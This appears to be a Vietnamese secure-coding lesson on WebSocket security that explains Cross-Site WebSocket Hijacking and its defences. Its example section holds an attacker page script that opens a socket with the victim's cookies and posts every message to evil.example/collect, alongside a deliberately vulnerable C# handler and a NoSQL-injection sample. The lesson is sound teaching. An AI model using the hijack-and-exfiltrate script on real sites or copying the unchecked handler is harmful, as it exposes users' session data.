SecLab
Client-sideĐầy đủ

WebSocket security

A01CWE-1385CWE-346
01

Là gì

WebSocket mở một kênh hai chiều lâu dài giữa trình duyệt và server. Vấn đề bảo mật cốt lõi là bắt tay WebSocket không bị same-origin policy ràng buộc như fetch/XHRtrình duyệt tự kèm cookie — nên nếu server không tự kiểm Origin, một trang khác mở được kết nối kèm phiên của nạn nhân (CSWSH).

02

Vì sao bạn quan tâm

Mức liên quan: Bắt buộcKỳ vọng: L2

Điều quan trọng nhất: WebSocket không có CORS. Với fetch, trình duyệt cưỡng chế same-origin và CORS; với WebSocket, bắt tay là một request HTTP thường mà trình duyệt cho đi cross-origin, kèm cookie. Nghĩa là server là nơi DUY NHẤT kiểm được ai kết nối — và nếu nó quên, bạn có Cross-Site WebSocket Hijacking (CSWSH): CSRF cho một kênh đọc-ghi hai chiều.

Ba điều khác đáng nắm:

  • Xác thực chỉ xảy ra một lần, lúc bắt tay. Sau đó kênh mở lâu, nên nếu phiên bị thu hồi giữa chừng, kết nối vẫn sống — trừ khi bạn tự đóng nó.
  • Mỗi message là một request không đi qua middleware của bạn. Xác thực, phân quyền, rate limit, validation ở tầng HTTP middleware KHÔNG áp cho message WebSocket — bạn phải áp lại trong handler message.
  • Dữ liệu message là input không tin cậy như mọi input khác: một message đưa vào innerHTML là XSS (topic xss), vào SQL là SQL injection.

CSWSH tệ hơn CSRF thường ở một điểm: CSRF chỉ gửi được (không đọc response vì same-origin). CSWSH mở một kênh HAI CHIỀU, nên kẻ tấn công vừa gửi lệnh vừa đọc được mọi thứ server đẩy về trong phiên nạn nhân.

03

Cơ chế hoạt động

Bắt tay WebSocket là một request HTTP Upgrade. Điểm mấu chốt là trình duyệt gửi nó cross-origin kèm cookie, và không có cơ chế nào ở phía trình duyệt chặn — khác hẳn CORS cho fetch.

Nguồn sơ đồ
sequenceDiagram    autonumber    actor V as Nạn nhân (đã đăng nhập)    participant E as evil.example    participant A as app.example (WS server)    V->>E: Mở trang kẻ tấn công    E-->>V: new WebSocket(#quot;wss://app.example/ws#quot;)    V->>A: GET /ws Upgrade: websocket<br/>Origin: https://evil.example<br/>Cookie: session=... (trình duyệt tự kèm)    Note over A: Nếu server KHÔNG kiểm Origin →<br/>bắt tay thành công với phiên nạn nhân.    A-->>V: 101 Switching Protocols    Note over E: Kênh HAI CHIỀU mở. Kẻ tấn công gửi lệnh<br/>VÀ đọc mọi thứ server đẩy về.

Điểm cốt lõi: header Origin trong bắt tay nói đúng trang nào mở kết nối — nhưng chỉ có ích nếu server kiểm nó. Trình duyệt gửi Origin nhưng không tự chặn dựa trên nó (không như CORS).

Bảng các vấn đề, và tầng chúng sống:

Vấn đềCơ chếBản vá thuộc
CSWSHServer không kiểm Origin ở bắt tayKiểm Origin + token CSRF ở handshake
Message không phân quyềnMiddleware không áp cho messageKiểm quyền TRONG handler mỗi message
Phiên không thu hồi đượcXác thực chỉ ở bắt tayKiểm token định kỳ, đóng khi hết hạn
XSS/injection qua messageMessage là input không tin cậyCùng phép kiểm như input HTTP
ws:// không mã hoáKênh rõwss:// bắt buộc

Hàng thứ hai đáng nhấn: một người nghĩ "đã xác thực ở bắt tay rồi" thường quên rằng mỗi message vẫn cần phân quyền riêng — một message {"action":"deleteUser","id":7} không tự đi qua [Authorize] nào.

Mô tả sơ đồ: Sơ đồ tuần tự một cuộc tấn công CSWSH. Nạn nhân đang đăng nhập app mở một trang trên evil.example. Trang đó gọi new WebSocket tới wss://app.example/ws. Trình duyệt gửi request bắt tay Upgrade kèm header Origin là evil.example và tự kèm cookie phiên của nạn nhân. Nếu server không kiểm Origin thì bắt tay thành công với phiên nạn nhân và trả 101 Switching Protocols. Một kênh hai chiều mở ra, nên kẻ tấn công vừa gửi lệnh vừa đọc mọi thứ server đẩy về trong phiên đó.

04

Ví dụ cụ thể

Một app chat dùng WebSocket, xác thực bằng cookie phiên.

html
<!-- Trang kẻ tấn công. Không cần lỗi nào khác — chỉ cần server quên kiểm Origin. --><script>  // Trình duyệt tự kèm cookie app.example vào bắt tay này, dù trang là evil.example.  const ws = new WebSocket("wss://app.example/ws");  ws.onopen = () => ws.send(JSON.stringify({ action: "listConversations" }));  // Kênh HAI CHIỀU: đọc được mọi thứ server đẩy về trong phiên nạn nhân.  ws.onmessage = (e) => fetch("https://evil.example/collect", { method: "POST", body: e.data });</script>
HTTP
# Bắt tay mà trình duyệt gửi — chú ý Origin lạ nhưng Cookie vẫn có.GET /ws HTTP/1.1Host: app.exampleUpgrade: websocketOrigin: https://evil.example        ← server PHẢI kiểm dòng nàyCookie: session=<phiên nạn nhân>    ← trình duyệt tự kèm
JSON
// Message không phân quyền: xác thực ở bắt tay không đủ.// Một người dùng thường gửi:{"action":"deleteUser","userId":7}// Nếu handler message không kiểm quyền admin, nó thực thi — không [Authorize] nào chặn.
# Sau khi vá: bắt tay kiểm Origin so bằng, và mỗi message kiểm quyền riêng.# Bắt tay từ evil.example → 403, kênh không bao giờ mở.
C#Không kiểm Origin ở bắt tay, và tin mọi message sau xác thực một lần.
app.UseWebSockets();   // ❌ không cấu hình AllowedOrigins app.Map("/ws", async ctx =>{    // ❌ Bắt tay không kiểm Origin. WebSocket KHÔNG có CORS, nên trình duyệt cho một    //    trang evil.example mở kết nối này kèm cookie phiên của nạn nhân (CSWSH).    //    Server là nơi DUY NHẤT kiểm được, và nó không kiểm.    if (!ctx.WebSockets.IsWebSocketRequest) { ctx.Response.StatusCode = 400; return; }     var socket = await ctx.WebSockets.AcceptWebSocketAsync();    var userId = ctx.User.GetUserId();   // xác thực MỘT lần ở bắt tay     var buffer = new byte[4096];    while (socket.State == WebSocketState.Open)    {        var result = await socket.ReceiveAsync(buffer, CancellationToken.None);        var msg = JsonSerializer.Deserialize<WsMessage>(buffer.AsSpan(0, result.Count));         // ❌ Không phân quyền theo message. Xác thực ở bắt tay chỉ nói "ai kết nối",        //    không nói "được làm gì". Một người dùng thường gửi {"action":"deleteUser"}        //    và nó chạy — không [Authorize] nào đi cùng message này.        await _dispatcher.HandleAsync(msg, userId);    }});
05

Chuyện đã xảy ra

Họ lỗ hổng CSWSH trong bug bounty (nhiều báo cáo, 2013–nay). Christian Schneider đặt tên "Cross-Site WebSocket Hijacking" năm 2013, và mẫu lặp lại từ đó: một endpoint WebSocket xác thực bằng cookie mà server không kiểm Origin, cho phép một trang kẻ tấn công đọc dữ liệu thời gian thực của nạn nhân. Đáng nhớ vì nguyên nhân luôn là bỏ sót một phép kiểm — WebSocket không có CORS để làm hộ.

Các dashboard và công cụ dev với Origin: * hoặc không kiểm (nhiều CVE trong công cụ nội bộ). Một công cụ chạy WebSocket trên localhost mà không kiểm Origin cho phép một trang web bất kỳ kết nối tới nó — đây là đường một trang độc hại điều khiển một service chạy trên máy nạn nhân. Minh hoạ luận điểm khối 2: server là nơi duy nhất kiểm được.

Và một dạng phổ biến hơn CSWSH nhưng ít được gọi tên: message không phân quyền. Nhiều app xác thực ở bắt tay rồi tin mọi message sau đó, nên một người dùng thường gửi được message của admin. Không có sự cố "nổi tiếng" nào, nhưng nó là lỗi thường gặp nhất trong code review WebSocket.

06

Cách phòng chống

Lớp 1

Kiểm `Origin` ở bắt tay — server là nơi DUY NHẤT làm được

bắt buộc

WebSocket không có CORS, nên trình duyệt không chặn bắt tay cross-origin. Server phải tự làm.

  • So Origin với allowlist chuỗi CHÍNH XÁC, cùng nguyên tắc topic cors: không endsWith, không regex. Từ chối bắt tay (trả 403 ở tầng HTTP trước khi nâng cấp) nếu Origin không khớp.
  • Cộng một token CSRF ở bắt tay. Origin là phòng thủ chính, nhưng một số client cũ không gửi Origin đáng tin; một token do server cấp và client gửi lại (qua subprotocol hoặc query param một lần) là lớp thứ hai. Đây là cùng ý tưởng chống CSRF với topic csrf.

Điểm quan trọng: kiểm ở tầng bắt tay, không ở message đầu tiên. Nếu bạn để kết nối mở rồi mới kiểm ở message, kênh đã tồn tại và một số framework đã đẩy dữ liệu.

Trong ASP.NET Core: kiểm trong middleware trước UseWebSockets, hoặc trong options.AllowedOrigins của SignalR. Đừng dựa vào Origin mặc định — SignalR kiểm origin nhưng chỉ khi bạn cấu hình allowlist.

C# · Layer 1Kiểm Origin so bằng ở bắt tay, phân quyền từng message, và token hết hạn đóng kết nối.
// SignalR: AllowedOrigins là allowlist so BẰNG chuỗi — cùng nguyên tắc topic cors.builder.Services.AddCors(o => o.AddPolicy("ws", p => p    .WithOrigins("https://app.example")   // không endsWith, không regex    .AllowCredentials()    .AllowAnyHeader())); app.UseWebSockets(); app.Map("/ws", async ctx =>{    // Kiểm Origin Ở BẮT TAY, trước khi nâng cấp. Từ chối bằng 403 nếu không khớp —    // kênh không bao giờ mở, nên không có cửa sổ nào server đã đẩy dữ liệu.    var origin = ctx.Request.Headers.Origin.ToString();    if (origin != "https://app.example")    {        _log.LogWarning("Bắt tay WS bị từ chối: Origin {Origin}", origin);   // lớp 3        ctx.Response.StatusCode = 403;        return;    }    if (!ctx.WebSockets.IsWebSocketRequest) { ctx.Response.StatusCode = 400; return; }     var socket = await ctx.WebSockets.AcceptWebSocketAsync();    var user = ctx.User;    var tokenExp = user.GetTokenExpiry();     var buffer = new byte[4096];    while (socket.State == WebSocketState.Open)    {        // Lớp 2: token hết hạn giữa kết nối → đóng, buộc bắt tay lại. Bắt tay xác        // thực MỘT lần, nhưng kênh mở lâu, nên một phiên đã thu hồi phải bị đẩy ra.        if (DateTime.UtcNow >= tokenExp)        {            await socket.CloseAsync(WebSocketCloseStatus.PolicyViolation, "session expired", default);            break;        }         var result = await socket.ReceiveAsync(buffer, CancellationToken.None);        if (result.Count > MaxMessageBytes) { await socket.CloseAsync(WebSocketCloseStatus.MessageTooBig, "too big", default); break; }         var msg = JsonSerializer.Deserialize<WsMessage>(buffer.AsSpan(0, result.Count));         // Phân quyền TỪNG message — mỗi message là một request thu nhỏ. deleteUser cần        // quyền admin đúng như endpoint HTTP DELETE /users (topic access-control).        if (!_authz.Can(user, msg.Action, msg.ResourceId))        {            _log.LogWarning("Message WS bị từ chối: {Action} bởi {User}", msg.Action, user.GetUserId());            await socket.SendAsync(Error("forbidden"), WebSocketMessageType.Text, true, default);            continue;        }         await _dispatcher.HandleAsync(msg, user.GetUserId());    }});
Lớp 1b

Phân quyền TỪNG message, và coi message là input không tin cậy

bắt buộc

Middleware HTTP không áp cho message WebSocket, nên mọi kiểm soát bạn có ở tầng HTTP phải được áp lại trong handler message.

  • Kiểm quyền cho từng action. Xác thực ở bắt tay chỉ nói "ai kết nối", không nói "được làm gì". Một message {"action":"deleteUser"} phải qua đúng phép kiểm phân quyền như một endpoint HTTP DELETE /users (topic access-control, api-security). Handler message là chỗ phân quyền sống, không phải bắt tay.
  • Validate schema mỗi message. Ép kiểu, giới hạn, đúng như một DTO đầu vào — một message {"userId": {"$ne": null}} là NoSQL injection (topic sql-injection) nếu bạn tin nó.
  • Message là input không tin cậy cho MỌI đích. Đưa vào innerHTML là XSS; đưa vào SQL là SQL injection. Kênh WebSocket không làm dữ liệu đáng tin hơn.

Cách nghĩ đúng: mỗi message là một request HTTP thu nhỏ, và nó cần đúng mọi thứ một request HTTP cần — xác thực còn hiệu lực, phân quyền, validation, rate limit.

Lớp 2

`wss://` bắt buộc, token hết hạn được, và giới hạn tài nguyên

Ba biện pháp giảm bề mặt còn lại:

  • wss:// luôn luôn, không ws://. ws:// là kênh rõ — cookie phiên và mọi message đi không mã hoá. Cùng nguyên tắc HTTPS-only ở topic tls-config.
  • Xác thực hết hạn được. Bắt tay xác thực một lần, nhưng kênh mở lâu. Nếu phiên bị thu hồi (đổi mật khẩu, đăng xuất) thì kết nối phải bị đóng. Cách làm: gắn exp vào token dùng lúc bắt tay, và kiểm định kỳ trong vòng đời kết nối — khi hết hạn thì đóng, buộc client bắt tay lại.
  • Giới hạn tài nguyên (topic api-security lớp API4): số kết nối mỗi user, kích thước message tối đa, tần suất message. Một kênh mở lâu không giới hạn là một DoS: mở mười nghìn kết nối, hay gửi message 100MB.

rate limit theo kết nối và theo user, không chỉ theo IP — cùng lý do như topic rate-limiting.

Lớp 3

Phát hiện: `Origin` lạ ở bắt tay là tín hiệu độ nhiễu thấp

Client hợp lệ của bạn bắt tay từ đúng một tập Origin, nên một Origin khác là một lần thử CSWSH.

  • Log mọi bắt tay bị từ chối vì Origin, kèm Origin và user id của cookie. Alert khi tốc độ tăng — đó là chữ ký của một trang đang thử hijack kết nối của nhiều nạn nhân.
  • Log message bị từ chối vì phân quyền. Một kết nối gửi nhiều action mà nó không có quyền là một kết nối bị chiếm hoặc một client độc hại.
  • Đóng và alert khi token hết hạn giữa kết nối nhưng client vẫn gửi — có thể là một phiên đã thu hồi đang cố tiếp tục.

Đây là lớp 3 vì kiểm ở lớp 1 đã chặn; log biến "đã chặn" thành "biết ai đang thử".

07

Kiểm chứng đã vá

1. Test bắt tay từ Origin lạ bị từ chối — phép kiểm trực tiếp cho CSWSH:

Shell
B=app.example# Bắt tay với Origin lạ phải bị từ chối (KHÔNG trả 101).curl -si "https://$B/ws" \  -H 'Upgrade: websocket' -H 'Connection: Upgrade' \  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' -H 'Sec-WebSocket-Version: 13' \  -H 'Origin: https://evil.example' -b 'session=<phiên hợp lệ>' | head -1# Mong đợi: 403. Nếu là 101 Switching Protocols → CSWSH.

2. Test message không có quyền bị từ chối — xem tab typescript / test. Bắt tay bằng phiên người dùng thường, gửi một action admin (deleteUser), và khẳng định nó bị từ chối VÀ không có tác dụng phụ. Đây là phép kiểm bắt được lỗi "xác thực ở bắt tay là đủ".

3. Grep server WebSocket không kiểm Origin:

Shell
# SignalR phải có AllowedOrigins; WebSocket thô phải kiểm Origin trước UseWebSockets.grep -rn "UseWebSockets\|MapHub\|AddSignalR" --include='*.cs' src/ \  && grep -rn "AllowedOrigins\|Request.Headers.Origin\|CheckOrigin" --include='*.cs' src/ \  || echo "CẢNH BÁO: có WebSocket nhưng không thấy kiểm Origin"

4. Kiểm chỉ wss://, không ws://:

Shell
grep -rnE 'ws://' --include='*.ts' --include='*.tsx' --include='*.cs' src/ \  | grep -v 'localhost\|127.0.0.1' \  && { echo "ws:// không mã hoá tới host không phải localhost"; exit 1; }exit 0

5. Kiểm token hết hạn đóng được kết nối (lớp 2) — mở kết nối, thu hồi phiên ở server, và khẳng định server đóng kết nối trong vòng chu kỳ kiểm (không để nó sống mãi).

TypeScriptHai phép kiểm cốt lõi: bắt tay Origin lạ bị từ chối, và message không quyền bị chặn.
import { test, expect } from "@playwright/test";import { WebSocket } from "ws"; const WS_URL = "wss://staging.example.com/ws"; // CSWSH: bắt tay từ một Origin lạ phải bị TỪ CHỐI ở tầng bắt tay. Thư viện ws cho// đặt header Origin tuỳ ý — đúng thứ một trang kẻ tấn công không làm được nhưng ta// mô phỏng để kiểm server.test("handshake from a foreign Origin is refused", async () => {  const cookie = await getValidSessionCookie();   const refused = await new Promise<boolean>((resolve) => {    const ws = new WebSocket(WS_URL, {      headers: { Origin: "https://evil.example", Cookie: cookie },    });    ws.on("open", () => { ws.close(); resolve(false); });   // mở được = CSWSH    ws.on("error", () => resolve(true));                     // bị từ chối = đúng    ws.on("unexpected-response", (_req, res) => resolve(res.statusCode === 403));  });   expect(refused).toBe(true);}); test("handshake from the real Origin succeeds", async () => {  const cookie = await getValidSessionCookie();  const opened = await new Promise<boolean>((resolve) => {    const ws = new WebSocket(WS_URL, {      headers: { Origin: "https://app.example", Cookie: cookie },    });    ws.on("open", () => { ws.close(); resolve(true); });    ws.on("error", () => resolve(false));  });  expect(opened).toBe(true);}); // Phân quyền TỪNG message: xác thực ở bắt tay KHÔNG đủ. Bắt tay bằng phiên người// dùng thường, gửi một action admin, và khẳng định nó bị từ chối VÀ không có tác dụng.test("an ordinary user cannot send an admin action", async () => {  const cookie = await getOrdinaryUserCookie();  const victimId = await seedUser();   const response = await new Promise<any>((resolve) => {    const ws = new WebSocket(WS_URL, { headers: { Origin: "https://app.example", Cookie: cookie } });    ws.on("open", () => ws.send(JSON.stringify({ action: "deleteUser", resourceId: victimId })));    ws.on("message", (data) => { resolve(JSON.parse(data.toString())); ws.close(); });  });   expect(response.error).toBe("forbidden");  // Khẳng định ở TẦNG DỮ LIỆU: message bị từ chối và người dùng còn tồn tại.  expect(await userExists(victimId)).toBe(true);}); // wss:// only — không kênh rõ nào.test("the endpoint rejects unencrypted ws://", async () => {  const plain = WS_URL.replace("wss://", "ws://");  const failed = await new Promise<boolean>((resolve) => {    const ws = new WebSocket(plain);    ws.on("open", () => { ws.close(); resolve(false); });    ws.on("error", () => resolve(true));  });  expect(failed).toBe(true);});
08

Sai lầm thường gặp

"Bản vá"Vì sao không đúng
Dựa vào same-origin của trình duyệtWebSocket KHÔNG có CORS. Bắt tay đi cross-origin kèm cookie. Server phải tự kiểm Origin
Token CSRF cho HTTP nhưng không cho WebSocketBắt tay là một request riêng. Nó cần kiểm Origin và token của riêng nó
Xác thực ở bắt tay rồi tin mọi messageMiddleware không áp cho message. Mỗi message cần phân quyền riêng
Kiểm Origin bằng endsWithKhớp lỏng như topic cors. evil-app.example đi qua. So bằng chuỗi chính xác
Kiểm ở message đầu tiên thay vì bắt tayKênh đã mở; một số framework đã đẩy dữ liệu trước message đó
ws:// "vì nội bộ"Cookie phiên đi kênh rõ. wss:// luôn luôn
Đưa message vào innerHTMLMessage là input không tin cậy. XSS như mọi input khác (topic xss)
Không đóng khi phiên thu hồiXác thực chỉ ở bắt tay, nên phiên đã đăng xuất vẫn dùng kênh mãi

Sai lầm về mô hình, và nó là sai lầm chính: nghĩ WebSocket được same-origin policy bảo vệ như fetch. Nó KHÔNG. Không có CORS cho WebSocket, nên server là nơi duy nhất kiểm được ai kết nối — và CSWSH là hệ quả trực tiếp của việc quên.

Sai lầm về tầng: coi bắt tay là điểm kiểm soát duy nhất. Bắt tay kiểm "ai vào"; mỗi message vẫn cần kiểm "được làm gì". Middleware HTTP không đi cùng message, nên mọi thứ bạn có ở tầng HTTP — phân quyền, validation, rate limit — phải áp lại trong handler.

09

Nguồn tham khảo

Bậc 1Security considerations — ASP.NET Core SignalR · Microsoft · ASP.NET Core docs · .NET 8
Bậc 2WebSockets security vulnerabilities · PortSwigger · Web Security Academy
Bậc 2HTML5 Security Cheat Sheet — WebSockets · OWASP · Cheat Sheet Series
Bậc 3Cross-Site WebSocket Hijacking (CSWSH) · Christian Schneider
Nằm trong lộ trình
Secure Backend DeveloperXem lộ trình

Bình luận

Tham gia thảo luận
Đăng ký để bình luận

Bình luận cần tài khoản đã hoàn thành ít nhất một bài học. Điều kiện đó là thứ giữ cho luồng thảo luận này còn đáng đọc: mỗi ý kiến gắn với một người có thể bị hỏi lại, và reputation tích luỹ theo thời gian.

Đăng kýĐăng nhập

Bạn vẫn đọc được toàn bộ bình luận dưới đây mà không cần tài khoản. Đăng nhập xong bạn sẽ quay lại đúng chỗ này, không phải đầu trang.

Đang tải bình luận…